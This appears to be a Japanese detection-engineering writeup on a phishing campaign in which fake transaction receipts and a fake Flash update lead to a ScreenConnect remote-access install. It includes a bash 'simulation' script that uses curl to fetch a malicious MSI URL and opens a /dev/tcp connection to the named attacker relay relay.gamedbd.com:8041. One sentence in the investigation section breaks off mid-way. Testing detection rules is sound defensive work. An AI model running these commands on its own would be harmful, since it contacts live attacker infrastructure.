マルウェアフィッシング／詐欺：取引領収書を装ったフィッシングメール

概要

脅威アクターが米国企業の従業員を装ったフィッシングメールを送信しており、取引領収書を装った添付ファイルを含んでいます。この攻撃は、ユーザーをおびき寄せてAdobe Flash Playerの更新という名目で実際にはVBScriptを起動させる悪意のあるPDFを利用します。そのスクリプトは、その後、正規のScreenConnectリモート管理ツールをインストールして、後続の活動のための持続的なリモートアクセスを確立します。

調査

AhnLabセキュリティインテリジェンスセンター（ASEC）は、フィッシングメールの内容と添付PDFの行動を調査することでキャンペーンを特定しました。その調査では、悪意のあるVBScriptから、バックグラウンドペイロードの取得と、 curl.exe and msiexec.exe.

緩和策

ユーザーは、予期せぬ取引領収書やAdobe Flash Playerなどのソフトウェア更新を促すフィッシング試行を認識するよう訓練されるべきです。組織はVBScriptの実行を制限し、ScreenConnectを含むリモート管理ツールの無許可使用を監視する必要があります。アプリケーションの許可リストを使用することで、未知または承認されていないMSIパッケージの実行を防ぐこともできます。

対応

悪意のある活動が検出された場合、ScreenConnectを介したリモートアクセスを防ぐために影響を受けたシステムを直ちに隔離する必要があります。レスポンダーは、 relay.Gamedbd.Com のインフラストラクチャと関連するアクティブセッションを終了し、レジストリを検査して保存されたセッション情報を確認する必要があります。全ての法医学的調査によって、リモート管理ツールを介した横移動やデータの流出が行われたかどうかを判断する必要があります。

シミュレーション実行

前提条件：テレメトリ＆ベースライン・プレフライト・チェックがパスしていること。

理由：このセクションでは、検出ルールをトリガーするために設計された、敵対者の技法（TTP）の正確な実行が詳細に示されています。コマンドとナラティブは、直接検出ロジックで期待される正確なテレメトリを生成することを目的として、特定されたTTPと直接的に反映しなければなりません。抽象的または無関係な例は誤診につながります。

• 攻撃シナリオ＆コマンド： 敵対者が取引失敗に関するメールを送信してフィッシングキャンペーンを開始します。リンクは被害者を https://transaction-sucessful.vercel.appに誘導し、偽の領収書をホストしています。被害者が「領収書のダウンロード」をクリックすると、ブラウザは https://payment-six-eta.vercel.app/doc/sc.msiを取得しようとします。ペイロードが実行されると、ScreenConnectリレーの relay.gamedbd.com:8041に接続してリモートアクセスセッションを確立しようとします。このシーケンスは、URLベース検出とドメイン/ポートベース検出ロジックの両方をテストします。

• リグレッションテストスクリプト：

  #!/bin/bash
  # Phishing/ScreenConnect検出ルールをトリガーするシミュレーションスクリプト
  
  echo "[+] シミュレーション開始：Phishing/ScreenConnect検出テスト"
  
  # 1. 悪意のあるMSIをVercel URLからのダウンロードをシミュレートする
  echo "[+] ステップ1：悪意のあるVercel URLへの接続をシミュレート..."
  curl -s -o /dev/null "https://payment-six-eta.vercel.app/doc/sc.msi"
  
  # 2. 特定のScreenConnectリレードメイン/ポートへの接続をシミュレートする
  echo "[+] ステップ2：悪意のあるScreenConnectリレーへの接続をシミュレート..."
  # /dev/tcpを使用して、実際のリスナーを必要とせずに接続試行をシミュレートします
  timeout 2 bash -c 'cat < /dev/null > /dev/tcp/relay.gamedbd.com/8041' 2>/dev/null
  
  echo "[+] シミュレーション完了。SIEMでアラートを確認してください。"

• クリーンアップコマンド：

  # このネットワークベースのシミュレーションでは永続的なアーティファクトは作成されません。
  # ダウンロードされたローカルファイルがある場合は削除する必要があります：
  rm -f sc.msi
  echo "[+] クリーンアップ完了。"